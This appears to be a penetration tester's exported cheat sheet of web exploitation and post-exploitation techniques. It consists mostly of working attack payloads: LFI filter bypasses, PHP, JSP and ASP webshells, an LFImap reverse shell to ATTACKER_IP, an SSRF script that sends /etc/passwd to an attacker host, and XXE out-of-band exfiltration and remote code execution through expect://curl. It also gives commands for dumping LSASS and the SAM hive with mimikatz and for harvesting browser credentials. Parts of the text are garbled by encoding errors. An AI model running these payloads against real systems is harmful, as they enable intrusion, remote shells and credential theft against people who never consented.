- Top LFI Parameters: https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/index.html#top-25-parameters
- LFI Paylods: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
- Default Web Roots:
- Server configs + more:
To find parameters that could be vulnerable to LFI, first search for the GET/POST parameter, then try out LFI payloads as a value.
NOTE: these payloads are easily defeated by file extension filtering, so that needs to be mitigated as needed. Often times:
- Check server configs
- Attempt to read and see the filtering from the pages
- Incorporate the filtering into the
ffufURL portion
# FIND: params ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE> # FIND: LFI payloads ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>LFI Filter Evasion
When the default Jhaddix wordlist fails (returns 200s but no content, or 500 errors), the application is filtering your input.
The Filter (What the dev did) The Bypass (How to break it) Example Payload Traversal Stripping (Removes ../)Nested or overlapping traversals. ....//....//etc/passwd..././..././etc/passwdURL Decoding Filters (WAF) URL encode, or double-URL encode. %2e%2e%2fetc%2fpasswd%252e%252e%252fetc%252fpasswdHardcoded Prefix ( include("dir/".$p))Add more ../to climb out of the forced directory.../../../../../../etc/passwdHardcoded Suffix ( include($p.".php"))Legacy (PHP < 5.3): null byte.
Modern: PHP filter (Base64).../../../etc/passwd%00php://filter/read=convert.base64-encode/resource=configKeyword Blocking (Blocks passwd)Wildcards (Linux) or redundant slashes. /etc//passwd/etc/security/../passwdMechanics & Logic
1. The “Forced Extension” Problem (
.php)If the code is
include($_GET['page'] . ".php");, requesting/etc/passwdmakes the server look for/etc/passwd.php, which doesn’t exist.Solution: Pivot to reading the application’s source code using PHP wrappers. If you request
php://filter/convert.base64-encode/resource=config, the server appends.phpmaking itconfig.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.2. The
str_replaceTrapMany developers try to fix LFI with
str_replace("../", "", $input).The bypass: If you send
....//, the filter finds the../in the middle and deletes it. What remains is the outer../, which pieces itself back together after the filter runs.Advanced Scanning
The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:
# FIND: Advanced bypasses (nested, encoded, null bytes) ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE> # FIND: PHP wrapper source code extraction (targets common files like index, config, db) ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=php://filter/read=convert.base64-encode/resource=FUZZ' -fs <SIZE>See more about… Parameter fuzzing
Source: Docs > 9 - Notes > ffuf#parameter-fuzzing
Parameter fuzzing
GET
# NOTE: filter out by response size since an HTTP response of 200 OK will always be received ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>POST
# NOTE: filter out by response size since an HTTP response of 200 OK will always be received ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>LFImap
Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).
# Install git clone https://github.com/hansmach1ne/LFImap.git && cd LFImap python3 -m pip install -r requirements.txt # Base Scan (Use '*' to mark the injection point) python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' # Full Auto-Exploit (Tests all bypasses & attempts RCE) python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a # Pop a Reverse Shell directly (if vulnerable) python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>Nuclei
Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.
See more about… Fix Go
Source: Docs > 9 - Notes > Troubleshooting#fix-go
Fix Go
When system Go is broken or missing (HTB / online lab VMs)…
go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23…Install a local Go and wire it into
PATH:wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz mkdir -p ~/go_bin tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc go versiongo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest# Update templates first nuclei -ut # Target a specific URL for all known LFI vectors echo 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi # Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters) nuclei -u 'http://<TARGET>/' -dast -tags lfi # Blind OOB LFI (Catch callbacks with interactsh automatically) nuclei -u 'http://<TARGET>/' -tags oast,lfiSee more about… File Upload
Source: Docs > 5 - Exploitation > file-upload
Insecure file upload occurs when an application accepts file uploads without proper validation of type, content, or destination. Attackers can upload webshells, abuse allowed extensions or content types, or combine upload with XXE to read or execute code.
Process
- Identify the web technologies used (e.g. PHP).
- Brute-force a command page like
index.<EXT>using/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt. - Browser addon: https://www.wappalyzer.com/
- Brute-force a command page like
- Check for client- and server-side validation and filtering.
- Intercept file submission with a web proxy and test modifications of:
- Filename extensions in the request body
Content-Typeheaders
- Disable client-side validation (e.g. via proxy or DevTools: delete or modify the validation functions).
- Bypass server-side validation:
- Fuzz file extensions (e.g.
.php7,.phtml, or mixed case.pHP) via Intruder. Untick “URL Encoding” so the dot is not encoded. - Try double extensions such as
.jpgFUZZorFUZZ.jpg. - Use
ffuf -od reqswith a minimal “Hello World” payload for the target tech to see which extension actually executes.
- Fuzz file extensions (e.g.
# Extension fuzzing # NOTE: this will upload the request; use a "Hello World" payload for the target tech (e.g. PHP) ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -od ffuf_ext_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txtContent-Typefor Uploads- https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types/Common_types
multipart/form-datafor filesapplication/x-www-form-urlencodedfor simple POST data
Fuzz the request bodyβs
Content-Type(not the HTTP header).NOTE: Uncheck the URL-encode option in the proxy (e.g. Intruder) so the payload is sent literally.
# Content-Type fuzzing # NOTE: use a culled list for image uploads grep 'image/' /usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt > image-content-types.txt ffuf -w image-content-types.txt:FUZZ -od ffuf_type_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txtMagic Bytes
File Type Magic Bytes (Hex) ASCII Representation GIF 47 49 46 38 39 61or47 49 46 38 37 61GIF8,GIF89aorGIF87aJPG FF D8 FF E0(standard)ΓΏΓΓΏΓPNG 89 50 4E 47 0D 0A 1A 0A.PNG....Magic bytes are the first bytes inside the file (not metadata or extension) that identify the file type. Prepending valid magic bytes can help bypass content checks while keeping executable content (e.g. PHP) after them.
GIF8 <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>Character Injection
This approach uses character workarounds that can bypass validation on some (especially older) PHP versions.
> wordlist.txt for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' 'β¦' ':'; do while IFS= read -r ext; do [[ -z "$ext" || "$ext" == \#* ]] && continue echo "shell${char}${ext}.jpg" >> wordlist.txt echo "shell${ext}${char}.jpg" >> wordlist.txt echo "shell.jpg${char}${ext}" >> wordlist.txt echo "shell.jpg${ext}${char}" >> wordlist.txt done < "/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt" doneFiles with XXE (via local file reads)
SVG, PDF, Word, PowerPoint, and other formats that parse XML can execute or expose data via embedded XXE. If the upload is processed as XML, check Page Source for reflected data that may not be shown in the rendered page.
Read File
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file://<FILE>"> ]> <svg>&xxe;</svg>Read PHP
NOTE: The response may need to be base64-decoded. This assumes the PHP filter wrapper is available.
To read server configs or PHP without executing them:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<PHP_FILE>"> ]> <svg>&xxe;</svg>Simple Webshell
Append PHP code to the SVG payload so the uploaded file both triggers the XXE and contains the webshell.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> <svg>&xxe;</svg> <?php system($_REQUEST['cmd']); ?>See more about… Web
Source: Docs > 5 - Exploitation > shells#web
Web
- Shell Generator: https://www.revshells.com/
- Webshells: https://github.com/danielmiessler/SecLists/tree/master/Web-Shells
- Beachhead: https://github.com/flozz/p0wny-shell
- Post-Exploit: https://github.com/wso-shell-php/.github
- https://github.com/payloadbox/command-injection-payload-list
- https://swisskyrepo.github.io/PayloadsAllTheThings/
/usr/share/webshells- https://github.com/jbarcia/Web-Shells/tree/master/laudanum
/usr/share/laudanum
Web Server Default Webroot Apache/var/www/html/ Nginx/usr/local/nginx/html/ IISc:\inetpub\wwwroot\ XAMPPC:\xampp\htdocs\ ### ASPX (Microsoft IIS) # Command Shell # 1) Add ATTACKER_IP on line 59 # 2) Remove unnecessary comments at beginning and end /usr/share/laudanum/aspx/shell.aspx # PowerShell Command Terminal # 1) Edit creds on line 14 /usr/share/nishang/Antak-WebShell/antak.aspx # PHP WebShell wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.phpCode
NOTE: the first examples are “Hello World” but perform a match calculation that should result in
49being shown on the page in the case there’s a WAF blocking “Hello World” strings<?php echo 7*7; ?> <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?> curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND><%= 7*7 %><% Runtime.getRuntime().exec(request.getParameter("dbg")); %>
curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>
<%= 7*7 %><% eval request("dbg") %>
curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>
See more about… Server-Side Request Forgery (SSRF)
Source: Docs > 5 - Exploitation > ssrf
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery
- https://hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
- https://hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/pdf-injection.html
- https://namratha-gm.medium.com/ssrf-to-local-file-read-through-html-injection-in-pdf-file-53711847cb2f
SSRF forces the server to make HTTP (or other protocol) requests on the attacker’s behalf. The server becomes a proxy β useful for accessing internal services, cloud metadata endpoints, or local files.
Identification: Look for any parameter that fetches a remote resource β
?url=,?image=,?server=,?dest=, PDF export features, webhooks, icon fetchers.Variant Description Basic SSRF Parameter takes a URL; redirect it to internal target Blind SSRF Server makes the request but returns no output β detect via out-of-band callback SSRF β LFI Server (or its PDF renderer) reads file://URIsSSRF β RCE Chain into internal services (Redis, Elasticsearch, etc.) Basic SSRF
Point the vulnerable parameter at an internal resource or metadata endpoint:
# Internal admin panel http://<TARGET>/item?url=http://127.0.0.1/admin # AWS metadata http://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # GCP metadata http://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenBlind SSRF Detection
If the response gives nothing back, confirm the request fires via a callback:
# Start listener nc -lvnp 8080 # Inject callback URL into the vulnerable parameter curl "http://<TARGET>/webhook?url=http://<ATTACKER_IP>:8080/ping"Use Burp Collaborator or interactsh for DNS-based OOB confirmation.
SSRF β LFI via HTML Injection in PDF
When an app generates PDFs from user input using a headless browser (wkhtmltopdf, Puppeteer, Chrome headless), injecting JavaScript into the input causes the renderer to execute it. The script can read
file://URIs and exfiltrate content back to the attacker.Identification: Submit a field and download the resulting PDF β if your input renders as HTML (not escaped), the renderer is likely vulnerable.
Inject into the vulnerable input field (e.g., a tracker or name field that ends up in the PDF):
while true; do nc -lvnp 8080; done # Into vulnerable field <script> x=new XMLHttpRequest; x.onload=function(){document.location='http://<ATTACKER_IP>:8080?c='+btoa(this.responseText)}; x.open('GET','file:///etc/passwd'); x.send(); </script>Automate with curl
URL-encode the payload and POST it directly:
while true; do nc -lvnp 8080; done PAYLOAD='<script>x=new XMLHttpRequest;x.onload=function(){document.location="http://<ATTACKER_IP>:8080?c="+btoa(this.responseText)};x.open("GET","file:///<FILE>");x.send();</script>' ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))") curl 'http://<TARGET>/' \ -X POST \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-raw "insert=Track+Now&handle=${ENCODED}"NOTE: Some PDF renderers block
file://access by default. If the payload fires but returns empty, try/proc/self/environ,/etc/hosts, or app config files as alternative targets.HTTP Verb Tampering
- HTTP Verb Tampering: https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_HTTP_Verb_Tampering
This should return a HTTP
Allowheader that will demonstrate accepted HTTP verbs:curl -X OPTIONS -i 'http://<TARGET>/*'Then experiment with changing the request… like
GET->POST. If it’s an authentication request that uses only HTTP Headers, try alsoHEADorOPTIONS.curl -X POST "http://<TARGET>/index.php" -d "filename=test;id"Create HTTP Verb list from common ones and response from
OPTIONS{ curl -s -I -X OPTIONS <TARGET> | grep -i "allow:" | cut -d':' -f2 | tr ',' '\n' | tr -d ' ' ; echo "GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT DEBUG TEST" | tr ' ' '\n'; } | sort -u > http_methods.txt ffuf -w ./http_methods.txt -X FUZZ -u <TARGET>Insecure Direct Object References (IDOR)
Occurs when an application exposes a direct reference to an internal implementation object (such as a database key or file path) in a URL or API parameter, allowing an attacker to manipulate that reference to access unauthorized data belonging to another user.
Basic Fuzzing
NOTE: don’t forget the cookie header if needed!
# Fuzz API using IDs 0-50, matching on HTTP 200 or "txt" ffuf -request-proto http -request request.txt -w <(seq 1 10) -mr <REGEX> ffuf -u "http://<TARGET>/api/user/FUZZ" -w <(seq 0 50) -mr <REGEX>Encoded Fuzzing
If the target encodes the ID (e.g. Base64 in the URL) but expects an MD5 hash for the actual file/object:
# Iterates 1-20, calculates Base64(ID) and MD5(ID), and downloads file for i in {1..20}; do B64_ID=$(echo -n "$i" | base64 -w 0) MD5_ID=$(echo -n "$i" | md5sum | tr -d ' -') echo "Testing ID: $i | B64: $B64_ID | MD5: $MD5_ID" # -J uses the server Content-Disposition automatically curl -sJo- "http://<TARGET>/download.php?contract=$B64_ID" # NOTE: this is a manual method: # -H "Content-Disposition: attachment; filename=\"contract_$id_hashed.pdf\"" doneLFI via XXE
Default XML header as needed:
<?xml version="1.0"?>TRY placing
&xxe;into different fields to see ifTESTSTRINGgets reflected back to the page.<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [<!ENTITY xxe "TESTSTRING">]> <root><subtotal>&xxe;</subtotal><userid>&xxe;</userid></root>Basic LFI via XXE
Use the
php://filterto Base64-encode files before extraction. This prevents XML parsers from crashing when they hit characters like<or&inside the target PHP file.NOTE: Replace
<FILE>!<!-- INJECT THIS INTO THE XML BODY --> <!DOCTYPE email[ <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>"> ]> <root> <email>&file;</email> </root>Decode locally:
base64 -d <<< "PD9waHA..."Advanced LFI
If the PHP wrapper is blocked, use
CDATAto read raw files. Requires hosting a malicious DTD on your machine.echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd python3 -m http.server 8000NOTE: Replace
<FILE>and<ATTACKER_IP>!<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE email [ <!ENTITY % begin "<![CDATA["> <!ENTITY % file SYSTEM "file://<FLAG>"> <!ENTITY % end "]]>"> <!ENTITY % xxe SYSTEM "http://<ATTACKER_IP>:8000/xxe.dtd"> %xxe; ]>Send as HTTP request body:
<!DOCTYPE email[ <!ENTITY % remote SYSTEM "http://<ATTACKER_IP>/xxe.dtd"> %remote; %xxe; ]> <root> <email>&joined;</email> </root>Blind OOB Exfiltration
If the server processes the XML but returns no output to your screen, force the server to send the file contents to your web server as a URL parameter. This sends the desired data/file to the
ATTACKER_IPvia an outbound HTTP requestNOTE: Replace
<FILE>and<ATTACKER_IP>!# XXE for reading file cat << 'EOF' > xxe.dtd <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>"> <!ENTITY % oob "<!ENTITY content SYSTEM 'http://<ATTACKER_IP>:8000/?content=%file;'>"> EOF # Autodecoder for base64 cat << 'EOF' > index.php <?php if(isset($_GET['content'])){ error_log("\n\n" . base64_decode($_GET['content'])); } ?> EOF php -S 0.0.0.0:8000Step 2: The Payload (Send to Target)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://<ATTACKER_IP>:8000/xxe.dtd"> %remote; %oob; ]> <root>&content;</root>RCE via
expectNote: The
expectmodule is not enabled/installed by default on modern PHP servers, so this attack may not always work. This is why XXE is usually used to disclose sensitive local files and source code, which may reveal additional vulnerabilities or ways to gain code execution.echo '<?php system($_REQUEST["cmd"]);?>' > shell.php sudo python3 -m http.server 80Note: We replaced all spaces in the above XML code with
$IFS, to avoid breaking the XML syntax. Furthermore, many other characters like|,>, and{may break the code, so we should avoid using them.NOTE: Replace and
<ATTACKER_IP>!<?xml version="1.0"?> <!DOCTYPE email [ <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'<ATTACKER_IP>/shell.php'"> ]> <root> <name></name> <tel></tel> <email>&company;</email> <message></message> </root>XXEinjector: Automated OOB
If manual OOB is tedious, use
XXEinjectorto automate the extraction.- Save the Burp POST request to
req.txt. - Replace the XML data with the word
XXEINJECT.
... <?xml version="1.0" encoding="UTF-8"?> XXEINJECT- Run the extractor:
git clone https://github.com/enjoiz/XXEinjector.git && cd XXEinjector ruby XXEinjector.rb --verbose --phpfilter --oob=http --host=<ATTACKER_IP> --httpport=8000 --file=req.txt --path=<FILE> # Results save to: Logs/<TARGET_IP>/etc/passwd.log6 - Post-Exploitation
Authentication - Linux
Reference:
See more about… 1. Core Architecture: PAM
Source: Docs > 9 - Notes > Authentication Process - Linux#1-core-architecture-pam
1. Core Architecture: PAM
Pluggable Authentication Modules (PAM) manage the authentication, session setup, and password changes.
- Key Module:
pam_unix.so(Standard Unix auth). - Location:
/usr/lib/x86_64-linux-gnu/security/ - Function: Bridges the gap between user input (e.g.,
passwdcommand) and flat files (/etc/passwd,/etc/shadow).
Credentials Harvesting
# LINUX: Find Potentially Useful Files for ext in $(echo ".xls .xls* .xltx .od* .doc .doc* .pdf .pot .pot* .pp*") ; do echo -e "\nFile extension: " $ext ; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ; done # Text files find /home/* -type f -name "*.txt" -o ! -name "*.*" # Crontab cat /etc/crontab ls -la /etc/cron.*/ # Maybe creds in /home/*/ find /home/ -type f \( -name '.*rc' -o -name '.*history' -o -name 'config.fish' -o -name '.*login' \) # Browser creds ls -l .mozilla/firefox/ | grep default wget https://github.com/unode/firefox_decrypt/raw/refs/heads/main/firefox_decrypt.py python3 firefox_decrypt.py # Logs for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done # Config for ext in .conf .config .cnf; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "lib|fonts|share|core"); [ -n "$out" ] && echo -e "\nFile extension: $ext" && echo "$out"; done # Pass in configs for i in $(find / -name "*.cnf" 2>/dev/null | grep -vE "doc|lib"); do out=$(grep -E "user|password|pass" "$i" 2>/dev/null | grep -v "#"); [ -n "$out" ] && echo -e "\nFile: $i" && echo "$out"; done # Database for ext in .sql .db ".*db" ".db*"; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "doc|lib|headers|share|man"); [ -n "$out" ] && echo -e "\nDB File extension: $ext" && echo "$out"; done # Code for ext in .py .pyc .pl .go .jar .c .sh; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "doc|lib|headers|share"); [ -n "$out" ] && echo -e "\nFile extension: $ext" && echo "$out"; doneAuthentication - Windows
Reference:
See more about… Authentication Process - Windows
Source: Docs > 9 - Notes > Authentication Process - Windows

1. Key Processes & Architecture
WinLogon (
WinLogon.exe)- Role: The “orchestrator.” Intercepts keyboard input (
Ctrl+Alt+Del), manages the workstation lock status, and handles password changes. - Workflow: Launches
LogonUI-> Collects Creds -> Sends toLSASS. - Legacy Note (GINA): In older Windows (NT/XP),
msgina.dllhandled this. Replaced by Credential Providers in modern Windows.
LogonUI (
LogonUI.exe)- Role: The graphical user interface that asks for the password.
- Mechanism: Uses Credential Providers (COM Objects/DLLs) to accept different auth types (Password, PIN, Biometrics).
LSASS (
%SystemRoot%\System32\Lsass.exe)- Role: The “Gatekeeper.” Enforces security policy, validates the password against SAM/AD, and writes to the Event Log.
- Resources: Microsoft: LSA Architecture
2. Authentication DLLs (The Packages)
These modules live inside
LSASSto handle specific tasks.DLL Name Function / Description Lsasrv.dll The Manager. Enforces policy and chooses the protocol (Negotiate: Kerberos vs NTLM). Msv1_0.dll Local / NTLM. Handles non-domain logins and legacy NTLM authentication. Kerberos.dll Domain. Handles Kerberos ticket requests and validation. Samsrv.dll SAM Interface. Talks to the local SAM database. Netlogon.dll Network. Handles the secure channel for network logons. Ntdsa.dll AD Interface. Used to create/manage records in the Registry or AD. 3. Credential Storage Locations
Local Users (SAM)
- File Path:
%SystemRoot%\system32\config\SAM - Registry Mount:
HKLM\SAM - Protection: Partially encrypted by SYSKEY (
syskey.exe) to prevent offline extraction. - Content: Local user NTLM/LM hashes.
Registry Hive Description HKLM\SAMContains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords. HKLM\SYSTEMStores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes. HKLM\SECURITYContains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more. Domain Users (NTDS)
- File Path:
%SystemRoot%\ntds.dit - Location: Found only on Domain Controllers.
- Content: Active Directory database (Users, Groups, Computers, GPOs, Hashes).
- Sync: Replicates to all DCs (except Read-Only DCs).
Credential Manager (The Vault)
- Role: Stores saved passwords for RDP, Websites, and Network Shares.
Policy.vpolin File Path:
%UserProfile%\AppData\Local\Microsoft\Vault\%UserProfile%\AppData\Local\Microsoft\Credentials\%UserProfile%\AppData\Roaming\Microsoft\Vault\%ProgramData%\Microsoft\Vault\%SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\
- Resource: Microsoft: Credential Manager

LSASS
# Remotely dump LSA secrets # NOTE: also requires **SeDebugPrivilege** netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsa # Remotely dump SAM secrets netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --samNOTE: These require
SeDebugPrivilegeGet LSASS memory dump via GUI:
- Open
Task Manager - Select
Details>lsass.exe - Right-Click > “Create Dump File”
- Move or transfer the file (usually in
%TMP%)
# Get LSASS PID tasklist /fi "IMAGENAME eq lsass.exe" Get-Process lsass # Dump powershell -command "rundll32.exe C:\windows\system32\comsvcs.dll,MiniDump <PID> $env:TMP\crash.dmp full" # Parse creds/hashes from dump pypykatz lsa minidump <DUMP_FILE> # OR .\mimikatz.exe log sekurlsa::minidump crash.dmp sekurlsa::logonpasswordsCredential Manager
# Backup Stored Creds rundll32 keymgr.dll,KRShowKeyMgr --- # List stored creds cmdkey /list # Impersonate runas /savecred /user:<DOMAIN>\<USER> cmd.exe runas /savecred /user:<DOMAIN>\<USER> powershell.exe # Run as Other User runas /netonly /user:<DOMAIN>\<USER> cmd.exe runas /netonly /user:<DOMAIN>\<USER> powershell.exe --- \\tsclient\share\mimikatz.exe privilege::debug sekurlsa::credmanCreds Harvesting
- Decrypting Firefox or Chrome creds storage
# https://github.com/AlessandroZ/LaZagne wget -q https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.7/LaZagne.exe -O lazagne.exe # MODULES: browsers, sysadmin, memory, windows, chats, mails, wifi .\lazagne.exe all -oA -output creds --- # WINDOWS: Search for plaintext creds in files findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.git *.ps1 *.yml *.xmlSecrets Dumping (SAM)
# ATTACKER: create SMB share # TARGET: save creds hives reg.exe save HKLM\SAM "%APPDATA%\sam.save" reg.exe save hklm\SYSTEM "%APPDATA%\system.save" reg.exe save hklm\SECURITY "%APPDATA%\security.save" cd %APPDATA% move *.save \\<ATTACKER_IP\<SHARE>\ # ATTACKER: extract local NT hashes impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL # 1000 is for NT hashes hashcat -m 1000 <HASHES> <WORDLIST> # 2100 is for PBKDF2 (DCC2 hashes for domain) hashcat -m 2100 <HASHES> <WORDLIST> # DPAPI creds mimikatz.exe dpapi::chrome /in:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotectHash Defaults of LM or NTLM
Hash Value Type Meaning / Context aad3b435b51404eeaad3b435b51404eeLM Empty / Disabled. LM is disabled on modern Windows, so this is the placeholder you will see for every user. Ignore it. 31d6cfe0d16ae931b73c59d7e0c089c0NT Empty String. The user has no password. Common for GuestorAdministratorif not enabled/set.Common Location Paths
π§ Linux
Location Description Example $HOME or ~ User’s home directory /home/username$TMPDIR or $TMP Temporary files directory /tmp$XDG_CONFIG_HOME User’s configuration directory /home/username/.config$XDG_DATA_HOME User’s data directory /home/username/.local/share$XDG_CACHE_HOME User’s cache directory /home/username/.cache$XDG_RUNTIME_DIR User’s runtime directory /run/user/1000/root Root user’s home directory /root/etc System configuration directory /etc/var Variable data directory /var/usr User programs and data directory /usr/opt Optional software packages directory /opt/boot Boot loader files directory /boot/proc Process and system information directory /proc/sys System and device information directory /sys/dev Device files directory /dev/mnt Mount points for filesystems /mnt/media Removable media mount points /media/srv Service-specific data directory /srv/run Runtime variable data directory /runπͺ Windows
Location PowerShell Equivalent Description Example %windir% $env:windirWindows installation directory C:\Windows%SystemRoot% $env:SystemRootAlias for %windir% C:\Windows%ProgramFiles% $env:ProgramFilesDefault directory for 64-bit programs C:\Program Files%ProgramFiles(x86)% $env:ProgramFiles(x86)Default directory for 32-bit programs on 64-bit systems C:\Program Files (x86)%CommonProgramFiles% $env:CommonProgramFilesDefault directory for 64-bit common files C:\Program Files\Common Files%CommonProgramFiles(x86)% $env:CommonProgramFiles(x86)Default directory for 32-bit common files on 64-bit systems C:\Program Files (x86)\Common Files%SystemDrive% $env:SystemDriveDrive letter of the system partition C:%USERPROFILE% $env:USERPROFILEPath to the current user’s profile directory C:\Users\username%APPDATA% $env:APPDATAUser’s roaming application data directory C:\Users\username\AppData\Roaming%LOCALAPPDATA% $env:LOCALAPPDATAUser’s local application data directory C:\Users\username\AppData\Local%TEMP% or %TMP% $env:TEMPor$env:TMPUser’s temporary files directory C:\Users\username\AppData\Local\Temp%HOMEDRIVE% $env:HOMEDRIVEDrive letter of the user’s home directory C:%HOMEPATH% $env:HOMEPATHPath to the user’s home directory \Users\username%PATH% $env:PATHSemicolon-separated list of executable search paths C:\Windows;C:\Windows\System32%PATHEXT% $env:PATHEXTSemicolon-separated list of executable file extensions .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC%PUBLIC% $env:PUBLICPath to the public user directory C:\Users\Public%USERNAME% $env:USERNAMEThe name of the current user username%COMPUTERNAME% $env:COMPUTERNAMEThe name of the computer DESKTOP-XXXXXXFile Transfer
Windows: https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/
https://live.sysinternals.com/
\\live.sysinternals.com\
Encryption (for exfiltration)
### === via PowerShell === # https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions%5CInvoke-AESEncryption.ps1 Import-Module .\Invoke-AESEncryption.ps1 Invoke-AESEncryption -Mode Encrypt -Key "<PASSWORD>" -Path <FILE> ### === via OpenSSL # https://docs.openssl.org/1.1.1/man1/enc/ # Encrypt openssl enc -aes256 -iter 100000 -pbkdf2 -in <IN_FILE> -out <OUT_FILE> # Decrypt openssl enc -d -aes256 -iter 100000 -pbkdf2 -in <IN_FILE> -out <OUT_FILE> ### === via WinRAR === sudo apt install -y rar # OR wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz tar -xzvf rarlinux-x64-612.tar.gz && cd rar && sudo make install # Double Encrypt rar a stage1.rar -p <FILENAME> mv stage1.rar stage1 rar a stage2.rar -p stage1 mv stage2.rar stage2β¬οΈ Linux <= Download
